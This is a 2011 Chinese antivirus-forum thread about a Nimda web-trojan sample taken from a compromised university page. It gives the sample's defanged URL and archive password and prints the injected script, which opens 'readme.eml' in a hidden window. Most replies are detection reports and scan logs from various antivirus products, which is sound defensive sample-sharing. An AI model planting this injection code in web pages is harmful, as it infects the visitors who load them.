网马Nimda 1x【readme.eml】

显示全部楼层 · 发表于 2011-6-20 16:31:59

本帖最后由帅就是帅于 2011-6-20 17:58 编辑

国内区某帖：http://bbs.kafan.cn/thread-1010835-1-1.html

潍坊学院：hxxp://jid.wfu.edu.cn/qita/zhaoshengjihuabiao.htm所得

解压密码：BBT

====

保存txt，记事本打开就行了，恶意代码如下，清除这部分即可“修复”：

<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>
<html><script language="JavaScript">window.open("readme.eml", null,"resizable=no,top=6000,left=6000")</script></html>

复制代码

显示全部楼层 · 发表于 2011-6-20 16:33:43

本帖最后由无垠穹宇于 2011-6-20 16:35 编辑

过360
ESET kill

显示全部楼层 · 发表于 2011-6-20 16:38:37

ess kill

2011-6-20 16:46:29 文件系统实时防护文件 D:\下载文件夹\1x Win32/Chir.B 病毒已删除 - 已隔离 WWW-738C9D7CF42\Administrator 在应用程序新建的文件上发生事件: D:\Program Files\WinRAR\WinRAR.exe.

显示全部楼层 · 发表于 2011-6-20 16:39:15

本帖最后由黑猫、警长于 2011-6-20 16:42 编辑

卡巴斯基2012拦截自动处理

显示全部楼层 · 发表于 2011-6-20 16:53:20

kis 2012杀之

ps：有密码，欺负网盾嘛

显示全部楼层 · 发表于 2011-6-20 16:58:02

360sd Kill

显示全部楼层 · 发表于 2011-6-20 17:41:40

老病毒了，大蜘蛛可修復：
1x 已感染：  JS.Nimda - 已修复
1x 已感染：  JS.Nimda - 已修复
1x 已感染：  JS.Nimda - 已修复
1x 已感染：  JS.Nimda - 已修复
1x 已感染：  JS.Nimda - 已修复

显示全部楼层 · 发表于 2011-6-20 17:51:24

卡巴 KILL

2011-06-20 17:47:39 启动任务
2011-06-20 17:47:41 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:41 未处理: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x 稍后处理
2011-06-20 17:47:42 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:42 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:42 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:42 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 检测到威胁: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 已清除: Net-Worm.Win32.Nimda C:\Documents and Settings\Administrator\桌面\1x\1x
2011-06-20 17:47:43 完成任务

显示全部楼层 · 发表于 2011-6-20 18:00:11

留侯发表于 2011-6-20 17:41
老病毒了，大蜘蛛可修復：
1x 已感染： JS.Nimda - 已修复
1x 已感染： JS.Nimda - 已修复

1L FIXED
挂的老马，如果不打补丁则下载malware中招

显示全部楼层 · 发表于 2011-6-20 18:03:21

熊猫云OK。

[病毒样本] 网马Nimda 1x【readme.eml】

本帖子中包含更多资源

评分

本帖子中包含更多资源